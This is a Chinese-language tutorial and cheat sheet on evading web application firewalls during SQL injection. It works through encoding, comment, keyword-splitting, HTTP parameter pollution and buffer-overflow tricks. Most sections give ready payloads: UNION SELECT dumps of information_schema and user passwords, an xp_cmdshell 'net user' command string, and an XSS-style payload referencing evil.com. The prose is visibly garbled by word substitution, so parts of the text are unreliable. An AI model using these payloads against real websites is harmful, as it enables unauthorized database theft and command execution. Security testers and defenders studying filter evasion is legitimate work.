a) 大小写稠浊 b)更换关键字 c)利用编码 d)利用注释 e)等价函数与命令 f)利用分外符号 g)HTTP参数掌握 h)缓冲区溢出 i)整合绕过
a) 大小写绕过
大小写绕过用于只针对小写或大写的关键字匹配技能正则表达式/express/i 匹配时大小写不敏感便无法绕过这是最大略的绕过技能
z.com/index.php?page_id=-15 uNIoN sELecT 1,2,3,4
示例场景可能的情形为filter的规则大小写敏感现在直策应用这种绕过技能成功的可能性已经不高了吧

b)更换关键字
这种情形下大小写转化无法绕过而且正则表达式会更换或删除select、union这些关键字如果只匹配一次就很随意马虎绕过
z.com/index.php?page_id=-15 UNIunionON SELselectECT 1,2,3,4
更换关键字同样是很根本的技能也可以布局得更繁芜SeLSeselectleCTecT关键要看正则表达式会进行几次匹配处理了
c)利用编码
1.URL编码
在Chrome中输入一个链接非保留字的字符浏览器会对其URL编码如空格变为%20、单引号%27、左括号%28、右括号%29
普通的URL编码可能无法实现绕过不过存在某种情形URL编码只进行了一次解码过滤可以用两次编码绕过
page.php?id=1%252f%252a/UNION%252f%252a/SELECT
2.十六进制编码
z.com/index.php?page_id=-15 /!u%6eion/ /!se%6cect/ 1,2,3,4,SELECT(extractvalue(0x3C613E61646D696E3C2F613E,0x2f61))
示例代码中前者是对单个字符十六进制编码后者则是对全体字符串编码对全体字符串编码相对来说较少见一点
3.Unicode编码
Unicode有所谓的标准编码和非标准编码假设我们用的utf-8为标准编码那么西欧语系所利用的就是非标准编码了
看一下常用的几个符号的一些Unicode编码
单引号:%u0027、%u02b9、%u02bc、%u02c8、%u2032、%uff07、%c0%27、%c0%a7、%e0%80%a7空格:%u0020、%uff00、%c0%20、%c0%a0、%e0%80%a0左括号:%u0028、%uff08、%c0%28、%c0%a8、%e0%80%a8右括号:%u0029、%uff09、%c0%29、%c0%a9、%e0%80%a9
举例:
?id=10%D6'%20AND%201=2%23 SELECT 'Ä'='A'; #1
两个示例中,前者利用双字节绕过,比如对单引号转义操作变成\',那么就变成了%D6%5C',%D6%5C构成了一个款字节即Unicode字节,单引号可以正常利用。
第二个示例利用的是两种不同编码的字符的比较,它们比较的结果可能是True或者False,关键在于Unicode编码种类繁多,基于黑名单的过滤器无法处理以是情形,从而实现绕过。
其余平时听得多一点的可能是utf-7的绕过,还有utf-16、utf-32的绕过,后者从成功的实现对google的绕过,有兴趣的朋友可以去理解下。
常见的编码当然还有二进制、八进制,它们不一定都派得上用场,但后面会提到利用二进制的例子。
d) 利用注释
看一下常见的用于注释的符号有哪些
//, -- , //, #, --+,-- -, ;--a
1.普通注释
z.com/index.php?page_id=-15 %55nION//%53ElecT 1,2,3,4'union%a0select pass from users#
//在布局的查询语句中插入注释规避对空格的依赖或关键字识别#、--+用于闭幕语句的查询
2.内联注释
比较普通注释内联注释用的更多/!content/只有MySQL会正常识别content的内容其他
index.php?page_id=-15 /!UNION/ /!SELECT/ 1,2,3 ?page_id=null%0A///!50000%55nIOn//yoyu/all//%0A/!%53eLEct/%0A/nnaa/+1,2,3,4…
两个示例中前者利用内联注释后者还用到了普通注释。利用注释一个很有用的做法便是对关键字的拆分要做到这一点后面谈论的分外符号也能实现当然条件是包括/、在内的这些字符能正常利用。
e)等价函数与命令
有些函数或命令因其关键字被检测出来而无法利用但是在很多情形下可以利用与之等价或类似的代码替代其利用
1.函数或变量
hex()、bin() ==> ascii()sleep() ==>benchmark()concat_ws()==>group_concat()mid()、substr() ==> substring()@@user ==> user()@@datadir ==> datadir()
举例substring()和substr()无法利用时
?id=1+and+ascii(lower(mid((select+pwd+from+users+limit+1,1),1,1)))=74
或者
substr((select 'password'),1,1) = 0x70 strcmp(left('password',1), 0x69) = 1 strcmp(left('password',1), 0x70) = 0 strcmp(left('password',1), 0x71) = -1
上述这几个示例用于解释有时候当某个函数不能利用时还可以找到其他的函数替代实在现至于select、uinon、where等关键字被限定如何处理将在后面filter部分谈论
2.符号
and和or有可能不能利用可以试下&&和||能不能用还有=不能利用的情形可以考虑考试测验<、>由于如果不小于又不大于那便是即是了
再看一下用得很多的空格可以利用如下符号代替其利用
%20 %09 %0a %0b %0c %0d %a0 //
3.生僻函数
MySQL/PostgreSQL支持XML函数
Select UpdateXML('<script x=_></script> ','/script/@x/','src=//evil.com');?id=1 and 1=(updatexml(1,concat(0x3a,(select user())),1))SELECT xmlelement(name img,xmlattributes(1as src,'a\l\x65rt(1)'as \117n\x65rror)); //postgresql?id=1 and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));
MySQL、PostgreSQL、Oracle它们都有许多自己的函数基于黑名单的filter要想涵盖这么多东西从实际上来说不太可能而且代价太大因此黑名单的确是更适宜处理已知的情形
f) 分外符号
这里我把非字母数字的字符都规在了分外符号一类这些符号有分外的含义和用法涉及信息量比前面提到的几种都要多
先看下drops上waf的绕过技巧一文利用的几个例子
1.利用反引号`,例如select `version()`,可以用来过空格和正则,分外情形下还可以将其做注释符用2.神奇的\"大众-+.\"大众,select+id-1+1.from users; “+”是用于字符串连接的,”-”和”.”在此也用于连接,可以逃过空格和关键字过滤3.@符号,select@^1.from users; @用于变量定义如@var_name,一个@表示用户定义,@@表示系统变量4.Mysql function() as xxx 也可不用as和空格 select-count(id)test from users; //绕过空格限定
可见利用这些字符的确是能做很多事也证明了那句老话只有想不到没有做不到
笔者包罗了部分可能发挥大浸染的字符(这里未包括'、、/等在内考虑到前面已经涌现较多次了)
`、~、!、@、%、()、[]、.、-、+ 、|、%00
举例
关键字拆分
'se'+'lec'+'t'%S%E%L%E%C%T 11.aspx?id=1;EXEC('ma'+'ster..x'+'p_cm'+'dsh'+'ell \"大众net user\"大众')
!和()' or --+2=- -!!!'2
id=1+(UnI)(oN)+(SeL)(EcT)
//有看到说Access中,”[]”用于表和列,”()”用于数值也可以做分隔
本节末了再给出一些和这些字符多少有点关系的操作符供参考
> > , <<, >=, <=, <>,<=>,XOR, DIV, SOUNDS LIKE, RLIKE, REGEXP, IS, NOT, BETWEEN
利用这些\"大众分外符号\"大众实现绕过是一件很细微的事情一方面各数据库对符号的处理是不尽相同的另一方面你得充分理解这些符号的特性和利用方法才能会考虑利用实在现绕过
g) HTTP参数掌握
这里HTTP参数掌握除了对查询语句的参数进行修改还包括HTTP方法、HTTP头的掌握
1.HPP(HTTP Parameter Polution)
举例
/?id=1;select+1&id=2,3+from+users+where+id=1—/?id=1//union/&id=/select/&id=/pwd/&id=/from/&id=/users
HPP又称做重复参数污染最大略的便是?uid=1&uid=2&uid=3对付这种情形不同的Web做事器处理办法如下
详细WAF如何处理要看其设置的规则不过就示例中觉得末了一个来看有较大可能绕过
2.HPF(HTTP Parameter Fragment)
这种方法是HTTP分割注入同CRLF略有相似之处(利用掌握字符%0a、%0d等换行)
举例
/?a=1+union/&b=/select+1,pass/&c=/from+users--select from table where a=1 union/ and b=/select 1,pass/ limit /from users—
看完上面两个示例创造和HPP末了一个示例很像不同之处在于参数不一样这里是在不同的参数之间进行分割结果到了数据库实行查询时再合并语句。
3.HPC(HTTP Parameter Contamination)
这一观点见于Beyond SQLi: Obfuscate and Bypass这里Contamination意为污染
RFC2396定义了如下一些字符
Unreserved: a-z, A-Z, 0-9 and _ . ! ~ ' () Reserved : ; / ? : @ & = + $ , Unwise : { } | \ ^ [ ] `
不同的Web做事器处理处理布局得分外要求时有不同的逻辑
以魔术字符%为例Asp/Asp.net会受到影响
h) 缓冲区溢出(Advanced)
缓冲区溢出用于对付WAF在内的软件本身有不少WAF是C措辞写的而C措辞自身没有缓冲区保护机制因此如果WAF在处理测试向量时超出了其缓冲区长度就会引发bug从而实现绕过
举例
?id=1 and (select 1)=(Select 0xA1000)+UnIoN+SeLeCT+1,2,version(),4,5,database(),user(),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26
示例0xA1000指0xA后面”A\公众重复1000次一样平常来说对运用软件构成缓冲区溢出都须要较大的测试长度这里1000只做参考大概在有些情形下可能不须要这么长也能溢出
i) 整合绕过
整合的意思是结合利用前面谈到的各种绕过技能单一的技能可能无法绕过过滤机制但是多种技能的合营利用成功的可能性就会增加不少了。这一方面来说关系到总体与局部和另一方面则是多种技能的利用创造了更多的可能性组合除非每一种技能单独都无法利用否则它们能产生比自身大得多的能量。
举例
z.com/index.php?page_id=-15+and+(select 1)=(Select 0xAA[..(add about 1000 \公众A\"大众)..])+/!uNIOn/+/!SeLECt/+1,2,3,4…id=1/!UnIoN/+SeLeCT+1,2,concat(/!table_name/)+FrOM /information_schema/.tables /!WHERE /+/!TaBlE_ScHeMa/+like+database()– -?id=-725+/!UNION/+/!SELECT/+1,GrOUp_COnCaT(COLUMN_NAME),3,4,5+FROM+/!INFORMATION_SCHEM/.COLUMNS+WHERE+TABLE_NAME=0x41646d696e--
参考资料
WAF先容:http://www.nsfocus.com/waf/jishu/js_01.html
WAF实现扫描器识别:http://drops.wooyun.org/tips/730
WAF的绕过技巧:http://drops.wooyun.org/tips/132
绕过waf的条记:http://fuck.0day5.com/?p=622
SQL注入中的WAF绕过技能:http://netsecurity.51cto.com/art/201301/376869.htm
浅谈WAF的绕过:http://netsecurity.51cto.com/art/201212/374068.htm
SQL注入攻防入门详解(MS SQL):http://www.2cto.com/Article/201211/165466.html
Beyond SQLi: Obfuscate and Bypass :http://www.exploit-db.com/papers/17934/
从根本到高等的waf绕过方法:http://gnahackteam.wordpress.com/2012/07/06/basic-to-advanced-waf-bypassing-methods/
Bypass WAF:http://www.surfthecyber.com/2013/05/how-to-bypass-waf-web-application.html
WAF Bypassing: SQL Injection (forbidden or not?):http://www.r00tsec.com/2011/07/sql-injection-bypass-waf.html
WAF filter evasion:http://sla.ckers.org/forum/read.php?24,33903
http://em3rgency.com/sql-injection-filter-evasion/
http://0haxor.blogspot.com/2012/08/waf-waf-bypassing.html
http://kaoticcreations.blogspot.com/p/sql-injection-waf-bypassing.html
http://kaoticcreations.blogspot.com/p/basic-sql-injection-101.html
http://websec.files.wordpress.com/2010/11/sqli2.pdf
http://websec.wordpress.com/2010/12/04/sqli-filter-evasion-cheat-sheet-mysql/
addtion:\公众Mysql注入科普\"大众也不错 :http://drops.wooyun.org/tips/123